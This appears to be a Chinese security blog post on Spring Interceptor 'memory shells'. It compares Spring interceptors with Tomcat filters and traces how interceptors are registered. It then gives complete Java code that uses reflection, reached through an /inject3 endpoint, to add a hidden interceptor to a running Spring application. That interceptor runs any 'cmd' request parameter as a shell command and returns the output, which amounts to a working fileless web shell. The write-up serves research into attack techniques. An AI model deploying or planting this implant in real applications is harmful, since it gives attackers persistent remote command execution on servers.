前言 Spring Interceptor和Tomcat Filter过滤器很类似,区别如下:
Interceptor基于反射,Filter基于函数回调
Interceptor不依赖Servlet容器
Interceptor只能对Action请求有用
Interceptor可以访问Action上下文,栈里的对象,而Filter不能
Action生命周期中,Interceptor可以被多次调用,而Filter只在容器初始化时调用一次
Interceptor可以获取IOC容器中的Bean,而Filter不行
由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作。
过程分析 Interceptor拦截过程如下:
程序先执行preHandle方法,如果该方法的返回值为true,则程序会继续向下执行处理器中的方法,否则将不再向下执行
控制器Controller类处理完请求后,会执行postHandle方法,然后会通过DispatcherServlet向客户端返回响应
在DispatcherServlet处理完请求后,才会执行afterCompletion方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.springmemoryshell.demos.web;import org.springframework.stereotype.Component;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@Component public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("MyInterceptor preHandle() called..." ); return false ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("MyInterceptor postHandle() called..." ); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("MyInterceptor afterCompletion() called, which means the request and response is completed..." ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.springmemoryshell.demos.web;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Component;import org.springframework.web.servlet.config.annotation.InterceptorRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Component public class TestInterceptorAppConfig implements WebMvcConfigurer { @Autowired private TestInterceptor testInterceptor; @Override public void addInterceptors (InterceptorRegistry registry) { registry.addInterceptor(testInterceptor).addPathPatterns("/**" ); } }
在TestInterceptorAppConfig#addInterceptors方法中下断点,观察堆栈信息,可以看到URL映射处理器RequestMappingHandlerMapping会调用setInterceptors方法将Spring IoC容器中所有的Interceptor保存到自己的interceptors属性中。
接着继续运行至Springboot启动完成,访问路由/test/index,发现会执行自定义的拦截器,当preHandle返回值为true时,会继续向下执行另外两个。
观察堆栈信息,发现在执行了doDispatch#applyPreHandle方法之后,interceptorList中已经有自定义的拦截器了。
跟进一下doDispatch#applyPreHandle方法,发现会调用preHandle方法,因此,需要注册拦截的话一定是在这之前。
观察一下注册流程,先调用checkMultipart方法判断request是否为文件上传请求,不是的话则会原样返回,接着调用getHandler方法,将getHandler方法执行后的结果返回给mappedHandler。
跟进getHandler方法,会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler方法,接着会调用getHandlerExecutionChain方法。
跟进getHandlerExecutionChain方法,会遍历this.adaptedInterceptors对象里所有的HandlerInterceptor类实例,通过HandlerExecutionChain#addInterceptor方法把已有的所有拦截器加入到需要返回的HandlerExecutionChain exectuion属性中,完成注册。
通过上文的分析,要注入Interceptor内存马,只要将Interceptor对象封装到MappedInterceptor对象中,然后将MappedInterceptor对象添加List集合adaptedInterceptors中即可。
应用 思路 动态注册Spring Interceptor内存马的具体思路如下:
获取Context
获取AbstractHandlerMapping
获取adaptedInterceptors属性
构造MappedInterceptor
调用adaptedInterceptors#add方法添加构造的mappedInterceptor对象
动态注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.example.springmemoryshell.demos.web;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.handler.MappedInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Scanner;@Controller public class SpringInterceptorMemShell1 implements HandlerInterceptor { @ResponseBody @RequestMapping(value = "/inject3", method = RequestMethod.GET) public void SpringInterceptorMemShell1 () { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping); MappedInterceptor mappedInterceptor = new MappedInterceptor (null ,null ,new InjectInterceptor ()); adaptedInterceptors.add(mappedInterceptor); } catch (Exception e) { e.printStackTrace(); } } } class InjectInterceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) { if (request.getParameter("cmd" ) != null ) { try { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } catch (Exception e) { e.printStackTrace(); } return false ; } return true ; } public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { } public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { } }